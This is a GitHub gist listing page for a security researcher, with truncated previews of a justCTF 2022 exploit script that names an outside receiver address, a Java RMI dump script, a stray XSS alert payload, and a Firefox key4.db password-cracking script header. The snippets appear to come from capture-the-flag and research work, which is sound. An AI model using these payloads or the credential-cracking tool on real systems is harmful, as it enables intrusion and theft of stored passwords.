Skip to content

Instantly share code, notes, and snippets.

View haqpl's full-sized avatar
🎯
Focusing

Maciej Piechota haqpl

🎯
Focusing
View GitHub Profile
@haqpl
haqpl / sploit.py
Created June 12, 2022 17:22
justCTF22 - Ninja
from flask import Flask
from flask import request
import string
import requests
from bs4 import BeautifulSoup
URL = "http://ninja.web.jctf.pro"
RECEIVER = "http://51.38.138.162:1338"
proxy = {}
@haqpl
haqpl / rmi_dump.sh
Last active December 12, 2021 20:26
Setup Java RMI registry and parse RMI calls.
#!/bin/bash
# haqpl
# https://aweirdimagination.net/2020/06/28/kill-child-jobs-on-script-exit/
cleanup() {
# kill all processes whose parent is this process
pkill -P $$
}
for sig in INT QUIT HUP TERM; do
trap "
<script>alert(1337)</script>
@haqpl
haqpl / key4.db-crack.sh
Last active September 1, 2019 02:42 — forked from bcoles/7zip-jtr.sh
Key4.db Mozilla Decrypt Script
#!/bin/bash
# Key4.db Mozilla Firefox Decrypt Script
#
# Clone of JTR Decrypt Scripts by synacl modified for mozilla firefox
# - RAR-JTR Decrypt Script - https://synacl.wordpress.com/2012/02/10/using-john-the-ripper-to-crack-a-password-protected-rar-archive/
# - ZIP-JTR Decrypt Script - https://synacl.wordpress.com/2012/08/18/decrypting-a-zip-using-john-the-ripper/
# haqpl - mozilla firefox decrypt
echo "Key4.db Mozilla Firefox Decrypt Script";
if [ $# -ne 2 ]
@haqpl
haqpl / listceven.py
Created July 1, 2018 09:33
list comprehension even elements
a = [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
b = [c for c in a if c%2 == 0]
@haqpl
haqpl / listc.py
Created July 1, 2018 09:31
list comprehension solution
a = [1, 4, 9, 16, 25, 36, 49, 64, 81, 100]
b = [c for c in a[:7]]